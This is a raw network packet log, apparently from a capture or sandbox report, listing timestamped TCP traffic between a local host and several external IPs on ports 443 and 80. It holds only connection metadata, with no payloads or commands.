Nov 15, 2024 09:55:41.432867050 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.432892084 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.433568954 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.433576107 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.448395967 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.448467016 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.448816061 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.448856115 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.448877096 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.448889017 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.448895931 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.452229977 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.452270031 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.452342033 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.452779055 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.452786922 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.542988062 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.543019056 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.543035984 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.543077946 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.543103933 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.543122053 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.543164968 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.557254076 CET	443	49928	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:41.557807922 CET	49928	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:41.557857037 CET	443	49928	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:41.558393955 CET	443	49928	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:41.559675932 CET	49928	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:41.559808016 CET	443	49928	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:41.570450068 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.570557117 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.570652008 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.571018934 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.571039915 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.577315092 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.577394962 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.577617884 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.577897072 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.577928066 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.579207897 CET	443	49929	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:41.579700947 CET	49929	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:41.579735041 CET	443	49929	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:41.580852032 CET	443	49929	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:41.580928087 CET	49929	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:41.582134962 CET	49929	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:41.582250118 CET	443	49929	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:41.594232082 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.594293118 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.594311953 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.594331980 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.594384909 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.610819101 CET	49928	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:41.667032957 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.667063951 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.667103052 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.667129993 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.667148113 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.667176962 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.667954922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.667968988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.667988062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.667999029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668011904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668010950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668024063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668051004 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668059111 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668103933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668114901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668127060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668138981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668139935 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668150902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668157101 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668164015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668175936 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668184996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668198109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668209076 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668215036 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668222904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668230057 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668245077 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668267012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668355942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668368101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668380022 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668391943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668404102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668405056 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668416023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668428898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668431997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668442011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668448925 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668457031 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668468952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668478966 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668483019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668504000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668507099 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668510914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668517113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668521881 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668523073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668534040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668546915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668559074 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668561935 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668574095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668587923 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668612003 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668642044 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668654919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668668985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668677092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668705940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668823004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668836117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668847084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668858051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668869972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668879986 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668881893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668895006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668906927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668906927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668920994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668924093 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668934107 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668947935 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668953896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668961048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.668982029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.668998003 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.669065952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.669079065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.669090986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.669106007 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.669125080 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.712301016 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.712327957 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.712424994 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.712454081 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.712474108 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.712492943 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.713895082 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.713917017 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.713963985 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.713988066 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.714004040 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.714025974 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.721013069 CET	49929	443	192.168.2.7	23.221.22.207
Nov 15, 2024 09:55:41.721035957 CET	443	49929	23.221.22.207	192.168.2.7
Nov 15, 2024 09:55:41.754759073 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.754790068 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.754842997 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.754869938 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.754916906 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.780982971 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.781009912 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.781066895 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.781095982 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.781112909 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.781136036 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.784888983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.784925938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.784935951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.784946918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.784950972 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.784977913 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.784987926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785000086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785001040 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785012960 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785024881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785028934 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785054922 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785068989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785104990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785121918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785134077 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785135031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785161972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785162926 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785178900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785191059 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785209894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785223007 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785280943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785293102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785304070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785314083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785330057 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785330057 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785346031 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785355091 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785356998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785371065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785377026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785379887 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785393000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785403967 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785408020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785409927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785451889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785550117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785563946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785574913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785582066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785600901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785605907 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785613060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785624027 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785625935 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785636902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785649061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785653114 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785667896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785681009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785685062 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785692930 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785701036 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785706043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785717964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785729885 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785746098 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785753965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785758018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785770893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785783052 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785792112 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785795927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785808086 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785814047 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785835028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785842896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785923004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785933971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785950899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785964966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785976887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785985947 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.785989046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.785995007 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786010027 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786027908 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786149979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786159992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786173105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786191940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786196947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786209106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786217928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786221981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786247015 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786251068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786271095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786295891 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786320925 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786333084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786344051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786355019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786366940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786370993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786389112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786391020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786401033 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786408901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786434889 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786434889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786461115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786473036 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786483049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786494970 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786498070 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786510944 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786516905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786524057 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786533117 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786535025 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786550045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786559105 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786581039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786582947 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786598921 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786612034 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786614895 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786624908 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786637068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786637068 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786647081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786654949 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786680937 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786720037 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786731958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786742926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786767006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786768913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786782980 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786789894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786794901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786808968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786815882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786819935 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786849976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786849976 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786858082 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786869049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786880016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786895037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786904097 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.786943913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786955118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786961079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786967039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786972046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.786990881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.787003040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.787017107 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.787033081 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.794893026 CET	443	49792	104.98.116.138	192.168.2.7
Nov 15, 2024 09:55:41.794989109 CET	49792	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:41.810323954 CET	443	49933	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.810600996 CET	49933	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.810630083 CET	443	49933	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.811033964 CET	443	49933	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.812165022 CET	49933	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.812230110 CET	443	49933	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.830441952 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.830466032 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.830540895 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.830574989 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.830607891 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.830689907 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.831598043 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.831614971 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.831684113 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.831698895 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.831748962 CET	49923	443	192.168.2.7	13.107.246.57
